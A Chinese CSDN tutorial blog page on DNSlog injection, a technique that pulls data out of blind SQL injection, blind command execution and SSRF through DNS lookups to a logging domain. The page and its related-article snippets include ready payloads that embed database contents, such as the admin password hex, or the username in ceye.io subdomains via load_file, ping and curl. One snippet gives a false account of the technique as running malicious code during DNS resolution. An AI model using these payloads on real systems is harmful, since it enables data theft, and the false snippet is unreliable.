DNSlog注入

最新推荐文章于 2024-10-16 18:44:42 发布
最新推荐文章于 2024-10-16 18:44:42 发布
阅读量941 收藏 1
点赞数 1
分类专栏： 渗透学习 文章标签： DNSlog
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41210745/article/details/103580998
版权

DNSlog注入产生

测试一些网站的时候，一些注入都是无回显的，可以通过写脚本来进行盲注，但有些网站会ban掉我们的ip，可以通过设置ip代理池解决，但是盲注往往效率很低，所以产生了DNSlog注入。

DNSlog注入应用场景

sql注入的盲注、无回显的命令执行、无回显的SSRF

DNSlog注入原理

有一个可以配置的域名(比如：ceye.io)，然后通过代理商设置域名(ceye.io)的 nameserver 为自己的服务器 A，然后再服务器 A 上配置好 DNS Server，这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上，这时就能够实时地监控域名查询请求了，如下图所示：

注入语句：http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))

最低0.47元/天 解锁文章
7Riven
关注
专栏目录
dnslog注入_dnslog盲注
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
09-09 1845
dnslog注入原理通过子查询，将内容拼接到域名内，让load_file()去访问共享文件，访问的域名被记录此时变为显错注入,将dnslog注入盲注变显错注入,读取远程共享文件，通过拼接出函数做查询,拼接到域名中，访问时将访问服务器，记录后查看日志。dnslog注入主要用于布尔型盲注、时间型盲注、有注入但是无显示，注入线程太大容易被waf拦截等情况。主要原理就是利用load_file这个函数，这个函数的目的是读取本地文件，也可以对外发送请求，利用这个函数，我们再使用concat函数将dnslog
DNSlog注入原理
sjp_1996的博客
04-20 3313
DNSlog注入原理及实验 遵守我国网络安全法，仅用于渗透测试交流学习。 DNS解析过程 用户输入域名，浏览器知道是域名，然后通过DNS解析为IP地址，最后浏览器通过IP地址访问服务器。IP地址与域名是应是一对多映射的关系。 DNSlog的产生 DNS在解析的过程中产生日志文件，这些日志文件记录了访问时间、域名、IP地址等信息内容。 实验 1、公共DNS免费平台：www.DNSlog.con，点击GetSubDomain,会随机生成一个域名。 此时打开CMD，用ping命令，ping通这个域名。因为我的
DNS_LOG注入
学习、分享、交流
05-19 1641
DNSLOG注入：利用DNS解析，日志记录把数据库里面的内容给带出来···
DNSLOG 注入
qq_33441500的博客
10-21 735
DNSLOG 注入 在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起DNS请求，这个时候就可以通过DNSlog把想获...
DNSlog注入（利用DNSlog平台将SQL盲注变成回显注入）
柠檬i的博客
08-07 1514
DNSlog注入是一种利用DNS服务器记录域名解析请求的特性，来获取SQL注入结果的技术。它的原理是通过构造一个包含数据库信息的子域名，然后使用MySQL的load_file函数或其他方法，让目标服务器向DNS服务器发起解析请求，从而在DNS服务器上留下注入结果的痕迹。
dnslog注入
qq_40039615的博客
06-11 187
首先 ceye是一个网站 不是一个应用程序 http://ceye.io 这个是他的网址 操作： ping %USERNAME%.b182oj.ceye.io curl sk7s6n.ceye.io 核心语法：Loadfile 函数只能在windows操作系统执行，所以目标一定要是windows操作系统 SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.mysql.sk7s6n.ceye.io\\test')); 官方.
DNSLog注入
最新发布
2302_81322786的博客
10-16 123
首先需要有一个可以配置的域名，比如：xxx.io，然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A，然后再服务器 A 上配置好 DNS Server，这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上，这时就能够实时地监控域名查询请求了。在sql注入时为布尔盲注、时间盲注，注入的效率低且线程高容易被waf拦截，又或者是目标站点没有回显，我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功，这时候就要用到我们的DNSlog注入。
sqlmap结合dnslog注入
whojoe的博客
05-25 2321
sqlmap结合dnslog注入环境搭建1.phpstudy2.注入点3.配置mysql4.在线doslog网站5.sqlmap结合dnslog安装dns服务器添加转发（关键）复现手工注入sqlmap的--dns-domain参数注入参考文章 环境搭建 1.phpstudy 去官网下载安装 2.注入点 test.php <?php error_reporting(0); $link = mysqli_connect('localhost','root','root'); mysqli_set_char
sqlmap+dnslog注入复现
qq_50646296的博客
08-07 1036
2.准备两台虚拟机，一台为Kali（作为攻击机）另一台使用Windows server2008 R2（作为DNS服务器），使用本地物理机作为肉机。编辑本地肉机的dns设置，改为手动，首选DNS写windows server2008 的IP地址。查看secure_file_priv 是否为空值，如果是NULL，需要将其改为空。2 不存在，则在[mysqld]下，新增secure_file_priv=""。然后添加A记录，一条ns，作为域dns服务器，一条*匹配所有子域。配置DNS服务器ip信息和dns信息。.
dnslog:简约的 DNS 日志记录工具
05-31
dns日志 信息 简约的 DNS 日志记录工具。 捕获所有 DNS 流量并将其文本表示（以压缩形式）存储到/var/log/dnslog/<date>.log.gz 。 创建用于网络取证目的。 $ zcat /var/log/dnslog/2018-07-12.log.gz | head 00:00:00.001595 R A 192.168.107.168 192.168.110.233 ocsp.verisign.com 23.37.43.27 00:00:00.001949 Q PTR 192.168.107.146 199.253.182.182 2.6.e.f.a.b.e.f.f.f.6.5.0.5.2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.arpa ? 00:00:00.002314 R AAAA 37.48.122.173 194.5
mysql注入---DNSLOG注入
nini_boom的博客
07-21 584
不一定学习进度速度快，就代表掌控的东西就多。学习的目标在于对于理解的知识深度和广度，速度快会有很多时间学习广度的东西，但在有限广度的情况下，理解的深度才是更重要的，所以在这种情况下，不要在意学习的进度，把握住学习的节奏，向更深处理解。扎下深根的竹子，在疯狂生长的时候才有更多的后备力量。 0x01 DNSLOG注入 当我们遇到了盲注、延时注入时，页面没有具体的返回。 但是盲注、延时注入需要进行大...
SQL注入之DNS_log注入
weixin_47785246的博客
07-11 904
SQL注入之DNS_log注入 这篇文章将系统的讲解，SQL注入中的DNS_log注入的原理、方法、以及靶场练习writeup。 文章目录SQL注入之DNS_log注入前言一、DNS_log注入原理二、靶场实战1.DNSlog 平台2.封神台靶场总结 前言 关于SQL注入的详细内容请看我之前写的文章 提示：以下是本篇文章正文内容，下面案例可供参考 一、DNS_log注入原理 我们都知道，DNS解析是一种用户访问域名时，客户端向DNS发起DNS查询的到目标服务器ip地址，进而实现通信的机制，而
小白的CTF之路之DNSlog注入
glass_york的博客
01-07 1133
dnslog注入，sqlilabs第九关
DNS-log注入（zkaq靶场）
v2ish1yan的博客
04-21 1354
DNS-log注入
dnslog注入原理
07-29
DNSLog注入是一种利用DNS协议的安全漏洞进行攻击的方法。它利用了DNS服务器对于域名解析请求的处理方式，通过在恶意构造的域名中插入恶意代码，从而实现对目标系统的攻击或信息收集。 具体的注入原理如下： 1. DNS解析过程：当用户在浏览器中输入一个URL并发送请求时，操作系统会将URL发送给本地DNS服务器进行解析。DNS服务器会向根域名服务器发起查询请求，逐级查询直到找到对应的IP地址。 2. 恶意域名构造：攻击者构造一个恶意域名，其中包含了恶意代码或者指向恶意服务器的IP地址。恶意代码可以是任意可执行的代码，如JavaScript代码、Shell命令等。 3. DNS解析注入：攻击者向本地DNS服务器发送一个查询请求，并在请求中包含恶意域名。本地DNS服务器在解析该域名时，会向上级DNS服务器发起查询请求，直到找到对应的IP地址。在这个查询过程中，恶意代码会被执行。 4. 恶意代码执行：当上级DNS服务器将查询结果返回给本地DNS服务器时，本地DNS服务器会将结果返回给用户的操作系统。操作系统接收到结果后，会将其交给浏览器进行处理。如果结果中包含恶意代码，浏览器会执行该代码。 通过以上的注入原理，攻击者可以实现对目标系统的攻击，如执行恶意脚本、获取敏感信息等。为了防止DNSLog注入攻击，可以采取一些安全措施，如使用DNSSEC来验证DNS响应的真实性、限制DNS解析的递归查询等。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值